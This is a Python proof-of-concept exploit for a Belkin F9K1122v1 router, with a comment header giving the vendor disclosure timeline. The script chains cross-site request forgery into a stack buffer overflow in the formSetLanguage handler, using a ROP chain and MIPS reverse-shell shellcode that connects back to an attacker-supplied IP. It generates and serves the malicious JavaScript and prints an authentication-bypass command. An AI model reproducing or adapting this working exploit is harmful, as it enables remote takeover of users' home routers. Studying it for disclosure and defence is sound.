import socket, sys , base64, struct, string, urllib
from getopt import getopt as GetOpt, GetoptError
from uuid import getnode as get_mac
import SimpleHTTPServer, SocketServer
'''
3/16/2016 - First Submission to Belkin [no response]
5/3/2016 - Second Submission to Belkin [no response]
6/4/2016 - Notification of 0day [vendor responded]
Vendor Response: Our email system was broken but we want another 90 days.
9/3/2016 - Notification of 0day sent to Belkin. [no response]
9/4/2016 - The second 90 day extension is over.
'''
'''
This is the CSRF PoC. You will need to embed your JS soruce somewhere. '<script src=//ip.addr/a.js>'
The SSID of the F9K1122v1 does not escape HTML chars so XSS is possible.
XSS is also possible during provisioning. It does not escape HTML chars while scanning for SSIDs.
There is no protection against CSRFs so I made this CSRF PoC.
The BoF Vulnerability:
File Name: fmmgmt.c
-------------------------------------------------------------
void formSetLanguage(webs_t wp, char_t *path, char_t *query)
{
[CUT]
...
if(apmib_set(MIB_WEB_LANGUAGE, (void *)&type)==0){
strcpy(tmpbuf, T("Set WEB language error!"));
goto setErr;
}
apmib_update(CURRENT_SETTING);
setErr:
urltmp = websGetVar(wp, T("webpage"), T(""));
sprintf(tmpbuf, "/%s", urltmp);
-------------------------------------------------------------
In a nutshell, cause the error and then the webpage parameter will get picked up and then sprintf! yay!
ASLR is broken on this device so ret2libc is possible. Stack + Heap = Executable.
'''
'''
@AustinHackers - I love you all <3
@Laughing_Mantis - Cause I said I would!
@MisterCh0c - Keep on h4x0ring IoT products!
@IoTVillage - You guys rock!
@HeadlessZeke - Thanks for influcencing me to challenge myself aka I wanted to show you up :D
@avicoder - cause you're awesome! :D
@TheZDI - If it weren't for your comment of wanting me to bypass auth then I wouldn't of found these vulns.
Everyone over at Praetorian - You guys are awesome <3.
'''
def usage():
print ""
print "CSRF Generator --> Buffer Overflow PoC [Needs to be ran as a SuperUser]"
print "By: Elvis Collado [b1ack0wl]"
print ""
print "Usage: %s -s source.ip -d dst.ip" % sys.argv[0]
print ""
print "\t-s Connect back IP [LHOST]"
print "\t-d Destination IP of Socket Listener [RHOST]"
print "\t-h Print this Help Menu"
print ""
sys.exit(1)
if len(sys.argv) < 3:
usage()
try:
(opts, args) = GetOpt(sys.argv[1:], 's:d:h')
except GetoptError, e:
usage()
for opt, arg in opts:
if opt == "-s":
connectback_ip = arg.split(".")
for a in connectback_ip:
if int(a) == 0:
print "IP cannot have NULL Bytes :("
sys.exit(1)
IP_1= struct.pack("<B",int(connectback_ip[0]))
IP_2= struct.pack("<B",int(connectback_ip[1]))
IP_3= struct.pack("<B",int(connectback_ip[2]))
IP_4= struct.pack("<B",int(connectback_ip[3]))
elif opt == "-d":
host = arg
elif opt == "-h":
usage()
shellcode = string.join([
"\x24\x0f\xff\xfa",
"\x01\xe0\x78\x27",
"\x21\xe4\xff\xfd",
"\x21\xe5\xff\xfd",
"\x28\x06\xff\xff",
"\x24\x02\x10\x57",
"\x01\x01\x01\x0c",
"\xaf\xa2\xff\xff",
"\x8f\xa4\xff\xff",
"\x34\x0f\xff\xfd",
"\x01\xe0\x78\x27",
"\xaf\xaf\xff\xe0",
"\x3c\x0e\x1f\x90",
"\x35\xce\x1f\x90",
"\xaf\xae\xff\xe4",
"\x3c\x0e"+IP_1+IP_2,
"\x35\xce"+IP_3+IP_4,
"\xaf\xae\xff\xe6",
"\x27\xa5\xff\xe2",
"\x24\x0c\xff\xef",
"\x01\x80\x30\x27",
"\x24\x02\x10\x4a",
"\x01\x01\x01\x0c",
"\x24\x0f\xff\xfd",
"\x01\xe0\x78\x27",
"\x8f\xa4\xff\xff",
"\x01\xe0\x28\x21",
"\x24\x02\x0f\xdf",
"\x01\x01\x01\x0c",
"\x24\x10\xff\xff",
"\x21\xef\xff\xff",
"\x15\xf0\xff\xfa",
"\x28\x06\xff\xff",
"\x3c\x0f\x2f\x2f",
"\x35\xef\x62\x69",
"\xaf\xaf\xff\xec",
"\x3c\x0e\x6e\x2f",
"\x35\xce\x73\x68",
"\xaf\xae\xff\xf0",
"\xaf\xa0\xff\xf4",
"\x27\xa4\xff\xec",
"\xaf\xa4\xff\xf8",
"\xaf\xa0\xff\xfc",
"\x27\xa5\xff\xf8",
"\x24\x02\x0f\xab",
"\x01\x01\x01\x0c"
], '')
huge_string = "IMETHANBRADBERRY " * 6
huge_string += "!"
huge_string += struct.pack(">L", 0x2aaf2c80)
huge_string += "\x43\x43\x43\x43"
huge_string += struct.pack(">L",0x2aafc840)
huge_string += "\x44\x44\x44\x44" * 6
huge_string += struct.pack(">L",0x31313131)
huge_string += struct.pack(">L",0x2aafc840)
huge_string += struct.pack(">L",0x34343434)
huge_string += struct.pack(">L",0x2aaf9f38)
huge_string += "\x45\x45\x45\x45" * 9
huge_string += struct.pack(">L",0x2aaf9808)
huge_string += "\x46\x46\x46\x46" * 10
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2aaf97fc)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += struct.pack(">L",0x2739e8b8)
huge_string += "\x47\x47\x47\x47"
huge_string += shellcode
'''
NOTES
libc = 0x2aad0000
0x2aafc840 (Sleep)
Gadget 1
0x2aafc840: movet9,s0 # Sleep
0x2aafc844: jalrt9 # call sleep. The rest of the instructions will not block out payload and are not included.
Gadget 2
0x2aaf9f38: movet9,s1 # Addr to Gadget 3
0x2aaf9f3c: lwra,52(sp)
0x2aaf9f40: lws3,48(sp)
0x2aaf9f44: lws2,44(sp)
0x2aaf9f48: lws1,40(sp)
0x2aaf9f4c: lws0,36(sp)
0x2aaf9f50: jrt9 # Call Gadget 3
Gadget 3
0x2aaf9808: addiu a0,sp,24 # Add offet +24 to SP and store it in A0
0x2aaf980c: lwra,52(sp) # load Ret addr
0x2aaf9810: jrra # ret
Gadget 4 (Stack Exec)
0x2aaf97fc: movet9,a0 # move A0 which contains the address of the stack
0x2aaf9800: swv0,24(sp)
0x2aaf9804: jalrt9 # Jump to the stack
0x2aaf9808: addiu a0,sp,24 # Before jumping, add +24 to the stack and store it in A0
'''
csrf_file = open('a.js', 'wb')
params = urllib.urlencode({'webpage': huge_string})
destination_addr = 'x.open("POST", "http://' + host + '/goform/formSetLanguage"' + ',true);\n'
csrf_file.write('function getrekt(){')
csrf_file.write('var x = new XMLHttpRequest();\n')
csrf_file.write(destination_addr)
csrf_file.write('x.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); \n')
csrf_file.write('x.send("' + params + '");')
csrf_file.write('}\ngetrekt();')
csrf_file.close()
mac = get_mac()
PORT = 80
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
mac_addr = ':'.join(("%012X" % mac)[i:i+2] for i in range(0, 12, 2))
print "[\033[1;32m+\033[0m] Serving CSRF File on port:", PORT
print "[\033[1;32m+\033[0m] Copy the following string to bypass HTTPd authentication: \033[1;33m" + "echo \"" + mac_addr.lower() + "\" > /var/remote_mac_addr\033[0m"
httpd.serve_forever()